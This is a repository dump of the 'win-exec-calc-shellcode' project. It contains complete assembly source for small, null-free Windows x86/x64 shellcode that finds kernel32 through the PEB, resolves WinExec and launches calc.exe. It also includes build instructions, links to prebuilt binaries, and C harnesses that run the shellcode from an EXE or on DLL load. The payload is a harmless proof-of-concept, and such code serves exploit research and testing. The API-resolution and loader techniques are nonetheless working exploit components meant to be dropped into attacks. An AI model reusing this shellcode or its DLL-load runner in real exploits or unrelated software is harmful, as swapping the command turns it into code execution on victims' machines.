├── COPYRIGHT.txt ├── HOW_TO_BUILD.txt ├── README.md ├── build ├── bin │ ├── w32-exec-calc-shellcode-esp-func.bin │ ├── w32-exec-calc-shellcode-esp.bin │ ├── w32-exec-calc-shellcode-func.bin │ ├── w32-exec-calc-shellcode.bin │ ├── w64-exec-calc-shellcode-clean-func.bin │ ├── w64-exec-calc-shellcode-esp-clean-func.bin │ ├── w64-exec-calc-shellcode-esp-func.bin │ ├── w64-exec-calc-shellcode-esp.bin │ ├── w64-exec-calc-shellcode-func.bin │ ├── w64-exec-calc-shellcode.bin │ ├── win-exec-calc-shellcode-clean-func.bin │ ├── win-exec-calc-shellcode-esp-clean-func.bin │ ├── win-exec-calc-shellcode-esp-func.bin │ ├── win-exec-calc-shellcode-esp.bin │ ├── win-exec-calc-shellcode-func.bin │ └── win-exec-calc-shellcode.bin ├── dll │ ├── w32-exec-calc-shellcode.dll │ └── w64-exec-calc-shellcode.dll └── exe │ ├── w32-exe-run-shellcode.exe │ ├── w64-exe-run-shellcode.exe │ └── w64-exec-calc-shellcode.exe ├── build_info.txt ├── type-conversion.asm ├── w32-exec-calc-shellcode.asm ├── w64-exec-calc-shellcode.asm ├── win-dll-run-shellcode.c ├── win-exe-run-shellcode.c └── win-exec-calc-shellcode.asm /COPYRIGHT.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2009-2014 Berend-Jan "SkyLined" Wever 2 | and Peter Ferrie 3 | All rights reserved. 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | * Redistributions of source code must retain the above copyright 8 | notice, this list of conditions and the following disclaimer. 9 | * Redistributions in binary form must reproduce the above copyright 10 | notice, this list of conditions and the following disclaimer in the 11 | documentation and/or other materials provided with the distribution. 12 | * Neither the name of the copyright holder nor the names of the 13 | contributors may be used to endorse or promote products derived from 14 | this software without specific prior written permission. 15 | 16 | THIS SOFTWARE IS PROVIDED ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, 17 | INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY 18 | AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 19 | COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 20 | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 21 | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 22 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 23 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 24 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 25 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | -------------------------------------------------------------------------------- /HOW_TO_BUILD.txt: -------------------------------------------------------------------------------- 1 | If you want to assemble the shellcode manually, you can use the following commands: 2 | 3 | nasm (http://www.nasm.us/): 4 | nasm w32-exec-calc-shellcode.asm -o w32-exec-calc-shellcode.bin 5 | nasm w64-exec-calc-shellcode.asm -o w64-exec-calc-shellcode.bin 6 | nasm win-exec-calc-shellcode.asm -o win-exec-calc-shellcode.bin 7 | 8 | yasm (http://yasm.tortall.net/): 9 | yasm w32-exec-calc-shellcode.asm -o w32-exec-calc-shellcode.bin 10 | yasm w64-exec-calc-shellcode.asm -o w64-exec-calc-shellcode.bin 11 | yasm win-exec-calc-shellcode.asm -o win-exec-calc-shellcode.bin 12 | 13 | You can add the argument "-DSTACK_ALIGN=TRUE" to build shellcode that re-aligns the stack. 14 | You can add the argument "-DFUNC=TRUE" to build shellcode as a function that supports returning with non-volatile registers preserved. 15 | You can add the argument "-DFUNC=TRUE -DCLEAN=TRUE" to build shellcode as a function that supports returning with all registers preserved. 16 | You can also combine FUNC (and CLEAN) and STACK_ALIGN to produce code that will align the stack and still support returning with registers preserved. 17 | 18 | If you want to create a DLL-file that executes the shellcode, you can compile win-dll-run-shellcode.c 19 | If you want to create an executable that executes the shellcode, you can compile win-exe-run-shellcode.c 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | win-exec-calc-shellcode 2 | ----------------------- 3 | Small null-free shellcode that execute calc.exe. 4 | Runs on x86 and x64 versions of Windows 5.0-6.3 (2000, XP, 2003, 2008, 7, 8, 8.1), all service packs. 5 | 6 | Sizes (build 306) 7 | ----------------- 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 |
platform size stack align function wrapper func+save regs func+stack func+stack+regs
x86 72 75 77 77 84 84
x64 85 90 98 105 106 112
x86+x64 113 118 179 188 188 196
43 | 44 | Features 45 | -------- 46 | * NUL Free 47 | * Windows version and service pack independent. 48 | * ISA independent: 49 | runs on x86 (w32-exec-calc-shellcode) or x64 (w64-exec-calc-shellcode) 50 | architecture, or both (win-exec-calc-shellcode). 51 | * Stack pointer can be aligned if needed (if you are seeing crashes in 52 | WinExec, try using the stack aligning version). 53 | * No assumptions are made about the values in registers or on the stack. 54 | * x86: /3GB and 55 | WoW64" compatible (pointers 56 | are not assumed to be smaller than 0x80000000). 57 | * DEP / 58 | ASLR 59 | compatible: data is not executed, code is not modified. 60 | * Able to save and restore registers and return, for use in PoC code that calls 61 | the shellcode as a function (using 62 | cdecl/stdcall/fastcall calling convention. 63 | 64 | Credits 65 | ------- 66 | Skylined and Peter Ferrie 67 | -------------------------------------------------------------------------------- /build/bin/w32-exec-calc-shellcode-esp-func.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/w32-exec-calc-shellcode-esp-func.bin -------------------------------------------------------------------------------- /build/bin/w32-exec-calc-shellcode-esp.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/w32-exec-calc-shellcode-esp.bin -------------------------------------------------------------------------------- /build/bin/w32-exec-calc-shellcode-func.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/w32-exec-calc-shellcode-func.bin -------------------------------------------------------------------------------- /build/bin/w32-exec-calc-shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/w32-exec-calc-shellcode.bin -------------------------------------------------------------------------------- /build/bin/w64-exec-calc-shellcode-clean-func.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/w64-exec-calc-shellcode-clean-func.bin -------------------------------------------------------------------------------- /build/bin/w64-exec-calc-shellcode-esp-clean-func.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/w64-exec-calc-shellcode-esp-clean-func.bin -------------------------------------------------------------------------------- /build/bin/w64-exec-calc-shellcode-esp-func.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/w64-exec-calc-shellcode-esp-func.bin -------------------------------------------------------------------------------- /build/bin/w64-exec-calc-shellcode-esp.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/w64-exec-calc-shellcode-esp.bin -------------------------------------------------------------------------------- /build/bin/w64-exec-calc-shellcode-func.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/w64-exec-calc-shellcode-func.bin -------------------------------------------------------------------------------- /build/bin/w64-exec-calc-shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/w64-exec-calc-shellcode.bin -------------------------------------------------------------------------------- /build/bin/win-exec-calc-shellcode-clean-func.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/win-exec-calc-shellcode-clean-func.bin -------------------------------------------------------------------------------- /build/bin/win-exec-calc-shellcode-esp-clean-func.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/win-exec-calc-shellcode-esp-clean-func.bin -------------------------------------------------------------------------------- /build/bin/win-exec-calc-shellcode-esp-func.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/win-exec-calc-shellcode-esp-func.bin -------------------------------------------------------------------------------- /build/bin/win-exec-calc-shellcode-esp.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/win-exec-calc-shellcode-esp.bin -------------------------------------------------------------------------------- /build/bin/win-exec-calc-shellcode-func.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/win-exec-calc-shellcode-func.bin -------------------------------------------------------------------------------- /build/bin/win-exec-calc-shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/bin/win-exec-calc-shellcode.bin -------------------------------------------------------------------------------- /build/dll/w32-exec-calc-shellcode.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/dll/w32-exec-calc-shellcode.dll -------------------------------------------------------------------------------- /build/dll/w64-exec-calc-shellcode.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/dll/w64-exec-calc-shellcode.dll -------------------------------------------------------------------------------- /build/exe/w32-exe-run-shellcode.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/exe/w32-exe-run-shellcode.exe -------------------------------------------------------------------------------- /build/exe/w64-exe-run-shellcode.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/exe/w64-exe-run-shellcode.exe -------------------------------------------------------------------------------- /build/exe/w64-exec-calc-shellcode.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterferrie/win-exec-calc-shellcode/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/build/exe/w64-exec-calc-shellcode.exe -------------------------------------------------------------------------------- /build_info.txt: -------------------------------------------------------------------------------- 1 | This file is automatically generated by the build system to keep track of the 2 | build number and save the timestamp of the last build. 3 | build number: 306 4 | Timestamp: Mon, 27 Jan 2014 04:30:02 (UTC) 5 | -------------------------------------------------------------------------------- /type-conversion.asm: -------------------------------------------------------------------------------- 1 | ; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever 2 | ; and Peter Ferrie 3 | ; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/ 4 | ; All rights reserved. See COPYRIGHT.txt for details. 5 | 6 | ; Macros for converting between bytes, words, dwords and qwords 7 | %define B2W(b1,b2) (((b2) << 8) + (b1)) 8 | %define W2DW(w1,w2) (((w2) << 16) + (w1)) 9 | %define DW2QW(dw1,dw2) (((dw2) << 32) + (dw1)) 10 | %define B2DW(b1,b2,b3,b4) ((B2W(b3, b4) << 16) + B2W(b1, b2)) 11 | %define B2QW(b1,b2,b3,b4,b5,b6,b7,b8) ((B2DW(b5,b6,b7,b8) << 32) + B2DW(b1,b2,b3,b4)) 12 | %define W2QW(w1,w2,w3,w4) ((W2DW(w3,w4) << 32) + W2DW(w1,w2)) 13 | 14 | -------------------------------------------------------------------------------- /w32-exec-calc-shellcode.asm: -------------------------------------------------------------------------------- 1 | ; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever 2 | ; and Peter Ferrie 3 | ; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/ 4 | ; All rights reserved. See COPYRIGHT.txt for details. 5 | 6 | ; Windows x86 nul-free shellcode that executes calc.exe. 7 | ; Works in any x86 application for Windows 5.0-6.3 all service packs. 8 | BITS 32 9 | SECTION .text 10 | 11 | %include 'type-conversion.asm' 12 | 13 | ; WinExec *requires* 4 byte stack alignment 14 | %ifndef PLATFORM_INDEPENDENT 15 | %undef USE_COMMON ; not allowed as user-supplied 16 | global _shellcode ; _ is needed because LINKER will add it automatically. 17 | _shellcode: 18 | %ifdef FUNC 19 | PUSHAD 20 | %endif 21 | %ifdef STACK_ALIGN 22 | %ifdef FUNC 23 | MOV EAX, ESP 24 | AND ESP, -4 25 | PUSH EAX 26 | %else 27 | AND ESP, -4 28 | %endif 29 | %endif 30 | XOR EDX, EDX ; EDX = 0 31 | %elifndef USE_COMMON 32 | %ifdef FUNC 33 | PUSHAD 34 | %endif 35 | DEC EDX 36 | %endif 37 | %ifndef USE_COMMON 38 | PUSH EDX ; Stack = 0 39 | PUSH B2DW('c', 'a', 'l', 'c') ; Stack = "calc", 0 40 | PUSH ESP 41 | POP ECX ; ECX = &("calc") 42 | PUSH EDX ; Stack = 0, "calc", 0 43 | PUSH ECX ; Stack = &("calc"), 0, "calc", 0 44 | ; Stack contains arguments for WinExec 45 | MOV ESI, [FS:EDX + 0x30] ; ESI = [TEB + 0x30] = PEB 46 | %else 47 | PUSH ECX ; Stack = &("calc"), 0, "calc", 0 48 | ; Stack contains arguments for WinExec 49 | MOV ESI, [FS:EDX + 0x2F] ; ESI = [TEB + 0x30] = PEB (EDX=1) 50 | %endif 51 | MOV ESI, [ESI + 0x0C] ; ESI = [PEB + 0x0C] = PEB_LDR_DATA 52 | MOV ESI, [ESI + 0x0C] ; ESI = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process) 53 | LODSD ; EAX = InLoadOrder[1] (ntdll) 54 | MOV ESI, [EAX] ; ESI = InLoadOrder[2] (kernel32) 55 | MOV EDI, [ESI + 0x18] ; EDI = [InLoadOrder[2] + 0x18] = kernel32 DllBase 56 | ; Found kernel32 base address (EDI) 57 | %ifdef USE_COMMON 58 | MOV DL, 0x50 59 | JMP shellcode_common 60 | %else 61 | MOV EBX, [EDI + 0x3C] ; EBX = [kernel32 + 0x3C] = offset(PE header) 62 | ; PE header (EDI+EBX) = @0x00 0x04 byte signature 63 | ; @0x04 0x18 byte COFF header 64 | ; @0x18 PE32 optional header (EDI + EBX + 0x18) 65 | MOV EBX, [EDI + EBX + 0x18 + 0x60] ; EBX = [PE32 optional header + offset(PE32 export table offset)] = offset(export table) 66 | ; Found export table offset (EBX) 67 | MOV ESI, [EDI + EBX + 0x20] ; ESI = [kernel32 + offset(export table) + 0x20] = offset(names table) 68 | ADD ESI, EDI ; ESI = kernel32 + offset(names table) = &(names table) 69 | ; Found export names table (ESI) 70 | MOV EDX, [EDI + EBX + 0x24] ; EDX = [kernel32 + offset(export table) + 0x24] = offset(ordinals table) 71 | ; Found export ordinals table (EDX) 72 | find_winexec_x86: 73 | ; speculatively load ordinal (EBP) 74 | MOVZX EBP, WORD [EDI + EDX] ; EBP = [kernel32 + offset(ordinals table) + offset] = function ordinal 75 | INC EDX 76 | INC EDX ; EDX = offset += 2 77 | LODSD ; EAX = &(names table[function number]) = offset(function name) 78 | CMP [EDI + EAX], DWORD B2DW('W', 'i', 'n', 'E') ; *(DWORD*)(function name) == "WinE" ? 79 | JNE find_winexec_x86 ; 80 | MOV ESI, [EDI + EBX + 0x1C] ; ESI = [kernel32 + offset(export table) + 0x1C] = offset(address table)] = offset(address table) 81 | ADD ESI, EDI ; ESI = kernel32 + offset(address table) = &(address table) 82 | ADD EDI, [ESI + EBP * 4] ; EDI = kernel32 + [&(address table)[WinExec ordinal]] = offset(WinExec) = &(WinExec) 83 | CALL EDI ; WinExec(&("calc"), 0); 84 | %ifndef PLATFORM_INDEPENDENT 85 | %ifdef FUNC 86 | POP EAX 87 | POP EAX 88 | %ifdef STACK_ALIGN 89 | POP ESP 90 | %endif 91 | POPAD 92 | RET 93 | %endif 94 | %elifdef FUNC 95 | POP EAX 96 | POP EAX 97 | POPAD 98 | %ifdef STACK_ALIGN 99 | POP ESP 100 | %endif 101 | %ifdef CLEAN 102 | XCHG EDX, EAX 103 | POP EAX 104 | %endif 105 | RET 106 | %endif 107 | %endif -------------------------------------------------------------------------------- /w64-exec-calc-shellcode.asm: -------------------------------------------------------------------------------- 1 | ; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever 2 | ; and Peter Ferrie 3 | ; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/ 4 | ; All rights reserved. See COPYRIGHT.txt for details. 5 | 6 | ; Windows x64 nul-free shellcode that executes calc.exe. 7 | ; Works in any x64 application for Windows 5.0-6.3 all service packs. 8 | BITS 64 9 | SECTION .text 10 | 11 | %include 'type-conversion.asm' 12 | 13 | ; x64 WinExec *requires* 16 byte stack alignment and four QWORDS of stack space, which may be overwritten. 14 | ; http://msdn.microsoft.com/en-us/library/ms235286.aspx 15 | %ifndef PLATFORM_INDEPENDENT 16 | global shellcode 17 | shellcode: 18 | %ifdef FUNC ; assumes stack ends with 8 on entry, use STACK_ALIGN if it might not be. 19 | %ifdef CLEAN ; 64-bit calling convention considers RAX, RCX, RDX, R8, R9, R10 and R11 20 | PUSH RAX ; volatile. Use CLEAN if you want to preserve those as well. 21 | PUSH RCX 22 | PUSH RDX 23 | %endif 24 | PUSH RBX 25 | PUSH RSI 26 | PUSH RDI 27 | PUSH RBP ; Stack now ends with 8 (!CLEAN) or is 16 byte (CLEAN) aligned 28 | %endif 29 | %ifdef STACK_ALIGN 30 | %ifdef FUNC 31 | PUSH RSP 32 | POP RAX 33 | %endif 34 | AND SP, -16 ; Align stack to 16 bytes 35 | ; (we can't force it to end with 8 without dummy push and then or) 36 | PUSH RAX ; Force stack to end with 8 before next push, also saves RSP to restore stack 37 | %elifdef CLEAN 38 | PUSH RAX ; dummy push to make stack end with 8 before next push 39 | %endif 40 | 41 | ; Note to SkyLined: instructions on 32-bit registers are automatically sign-extended to 64-bits. 42 | ; This means LODSD will set the high DWORD of RAX to 0 if top bit of EAX was 0, or 0xFFFFFFFF if it was 0x80000000. 43 | PUSH BYTE 0x60 ; Stack 44 | POP RDX ; RDX = 0x60 45 | %else 46 | %ifdef FUNC 47 | %ifdef CLEAN 48 | PUSH RAX ; exchanged RDX 49 | PUSH RCX 50 | %endif 51 | PUSH RBX 52 | PUSH RSI 53 | PUSH RDI 54 | PUSH RBP ; Stack now ends with 8 (!CLEAN) or is 16 byte (CLEAN) aligned 55 | %endif 56 | %ifdef CLEAN 57 | %ifndef STACK_ALIGN 58 | PUSH RAX ; dummy push to make stack end with 8 before next push 59 | %endif 60 | %endif 61 | MOV DL, 0x60 62 | %endif 63 | %ifndef USE_COMMON 64 | PUSH B2DW('c', 'a', 'l', 'c') ; Stack = "calc\0\0\0\0" (stack alignment changes) 65 | PUSH RSP 66 | POP RCX ; RCX = &("calc") 67 | %endif 68 | SUB RSP, RDX ; Stack was 16 byte aligned already and there are >4 QWORDS on the stack. 69 | MOV RSI, [GS:RDX] ; RSI = [TEB + 0x60] = &PEB 70 | MOV RSI, [RSI + 0x18] ; RSI = [PEB + 0x18] = PEB_LDR_DATA 71 | MOV RSI, [RSI + 0x10] ; RSI = [PEB_LDR_DATA + 0x10] = LDR_MODULE InLoadOrder[0] (process) 72 | LODSQ ; RAX = InLoadOrder[1] (ntdll) 73 | MOV RSI, [RAX] ; RSI = InLoadOrder[2] (kernel32) 74 | MOV RDI, [RSI + 0x30] ; RDI = [InLoadOrder[2] + 0x30] = kernel32 DllBase 75 | ; Found kernel32 base address (RDI) 76 | shellcode_common: 77 | ADD EDX, DWORD [RDI + 0x3C] ; RBX = 0x60 + [kernel32 + 0x3C] = offset(PE header) + 0x60 78 | ; PE header (RDI+RDX-0x60) = @0x00 0x04 byte signature 79 | ; @0x04 0x18 byte COFF header 80 | ; @0x18 PE32 optional header (= RDI + RDX - 0x60 + 0x18) 81 | MOV EBX, DWORD [RDI + RDX - 0x60 + 0x18 + 0x70] ; RBX = [PE32+ optional header + offset(PE32+ export table offset)] = offset(export table) 82 | ; Export table (RDI+EBX) = @0x20 Name Pointer RVA 83 | MOV ESI, DWORD [RDI + RBX + 0x20] ; RSI = [kernel32 + offset(export table) + 0x20] = offset(names table) 84 | ADD RSI, RDI ; RSI = kernel32 + offset(names table) = &(names table) 85 | ; Found export names table (RSI) 86 | MOV EDX, DWORD [RDI + RBX + 0x24] ; EDX = [kernel32 + offset(export table) + 0x24] = offset(ordinals table) 87 | ; Found export ordinals table (RDX) 88 | find_winexec_x64: 89 | ; speculatively load ordinal (RBP) 90 | MOVZX EBP, WORD [RDI + RDX] ; RBP = [kernel32 + offset(ordinals table) + offset] = function ordinal 91 | LEA EDX, [RDX + 2] ; RDX = offset += 2 (will wrap if > 4Gb, but this should never happen) 92 | LODSD ; RAX = &(names table[function number]) = offset(function name) 93 | CMP DWORD [RDI + RAX], B2DW('W', 'i', 'n', 'E') ; *(DWORD*)(function name) == "WinE" ? 94 | JNE find_winexec_x64 ; 95 | MOV ESI, DWORD [RDI + RBX + 0x1C] ; RSI = [kernel32 + offset(export table) + 0x1C] = offset(address table) 96 | ADD RSI, RDI ; RSI = kernel32 + offset(address table) = &(address table) 97 | MOV ESI, [RSI + RBP * 4] ; RSI = &(address table)[WinExec ordinal] = offset(WinExec) 98 | ADD RDI, RSI ; RDI = kernel32 + offset(WinExec) = WinExec 99 | ; Found WinExec (RDI) 100 | CDQ ; RDX = 0 (assuming EAX < 0x80000000, which should always be true) 101 | CALL RDI ; WinExec(&("calc"), 0); 102 | %ifdef FUNC 103 | %ifdef CLEAN 104 | %ifdef STACK_ALIGN 105 | ADD RSP, 0x68 ; reset stack to where it was after pushing registers 106 | %else 107 | ADD RSP, 0x70 ; reset stack to where it was after pushing registers 108 | %endif 109 | %else 110 | ADD RSP, 0x68 ; reset stack to where it was after pushing registers 111 | %endif 112 | %ifndef PLATFORM_INDEPENDENT 113 | %ifdef STACK_ALIGN 114 | POP RSP 115 | %endif 116 | %endif 117 | POP RBP ; POP registers 118 | POP RDI 119 | POP RSI 120 | POP RBX 121 | %ifndef PLATFORM_INDEPENDENT 122 | %ifdef CLEAN 123 | POP RDX ; POP additional registers 124 | POP RCX 125 | POP RAX 126 | %endif 127 | RET ; Return 128 | %else 129 | %ifdef CLEAN 130 | POP RCX ; POP additional registers 131 | POP RDX 132 | %endif 133 | %ifdef STACK_ALIGN 134 | POP RSP 135 | %endif 136 | %ifdef CLEAN 137 | POP RAX 138 | %endif 139 | RET ; Return 140 | %endif 141 | %endif 142 | -------------------------------------------------------------------------------- /win-dll-run-shellcode.c: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever 2 | // and Peter Ferrie 3 | // Project homepage: http://code.google.com/p/win-exec-calc-shellcode/ 4 | // All rights reserved. See COPYRIGHT.txt for details. 5 | 6 | // Minimal code for a DLL that executes a shellcode when loaded into a process. 7 | #include 8 | extern void shellcode(void); 9 | 10 | #pragma warning( push ) 11 | #pragma warning( disable : 4100 ) 12 | __declspec(dllexport) 13 | BOOL WINAPI DllMain(HINSTANCE hInstance,DWORD fwdReason, LPVOID lpvReserved) { 14 | shellcode(); 15 | return FALSE; 16 | } 17 | #pragma warning( pop ) 18 | -------------------------------------------------------------------------------- /win-exe-run-shellcode.c: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever 2 | // and Peter Ferrie 3 | // Project homepage: http://code.google.com/p/win-exec-calc-shellcode/ 4 | // All rights reserved. See COPYRIGHT.txt for details. 5 | 6 | // Minimal code for an EXE that executes a shellcode when run. 7 | extern void shellcode(void); 8 | 9 | int main(int iArgCount, char** asArgs) { 10 | shellcode(); 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /win-exec-calc-shellcode.asm: -------------------------------------------------------------------------------- 1 | ; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever 2 | ; and Peter Ferrie 3 | ; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/ 4 | ; All rights reserved. See COPYRIGHT.txt for details. 5 | 6 | ; nul-free x86/x64 branching code for calc.exe executing shellcode. 7 | ; Works in any x86 or x64 application for Windows 5.0-6.3 all service packs. 8 | BITS 32 9 | 10 | %include 'type-conversion.asm' 11 | 12 | global _shellcode ; _ is needed because LINKER will add it automatically in 32-bit mode. 13 | _shellcode: 14 | 15 | %undef USE_COMMON ; not allowed as user-supplied 16 | %ifdef CLEAN 17 | %define FUNC ; force define FUNC is CLEAN is used 18 | %endif 19 | %ifndef FUNC 20 | %define USE_COMMON 21 | %endif 22 | %ifndef USE_COMMON 23 | %ifdef CLEAN 24 | PUSH EAX 25 | %endif 26 | %ifdef STACK_ALIGN 27 | %ifdef FUNC 28 | PUSH ESP 29 | POP EAX 30 | %endif 31 | %endif 32 | %endif 33 | %ifdef STACK_ALIGN 34 | AND SP, -16 ; cannot set ESP because it might destroy RSP in 64-bit mode 35 | PUSH EAX 36 | %endif 37 | ; x86 ; x64 38 | XOR EAX, EAX ; ---> XOR EAX, EAX 39 | %ifdef USE_COMMON 40 | PUSH EAX ; Stack = 0 (for 32-bit support) 41 | PUSH B2DW('c', 'a', 'l', 'c') ; Stack = "calc", 0 42 | PUSH ESP 43 | POP ECX ; ECX = &("calc") 44 | PUSH EAX ; Stack = 0, "calc", 0 45 | %endif 46 | INC EAX ; \,-> XCHG RDX, RAX 47 | XCHG EDX, EAX ; / 48 | JE w64_exec_calc_shellcode ; ---> JE w64_exec_calc_shellcode 49 | 50 | ; Because EDX is set to 0 in x64 mode, a size optimization is possible in the x64 shellcode. 51 | %define PLATFORM_INDEPENDENT 52 | 53 | ; Since EAX gets incremented on x86, the code did not branch but falls through 54 | ; into the x86 shellcode. 55 | w32_exec_calc_shellcode: 56 | %include "w32-exec-calc-shellcode.asm" 57 | 58 | ; Since EAX does NOT get incremented on x64, the code did branch to the x64 59 | ; shellcode. 60 | w64_exec_calc_shellcode: 61 | %include "w64-exec-calc-shellcode.asm" 62 | --------------------------------------------------------------------------------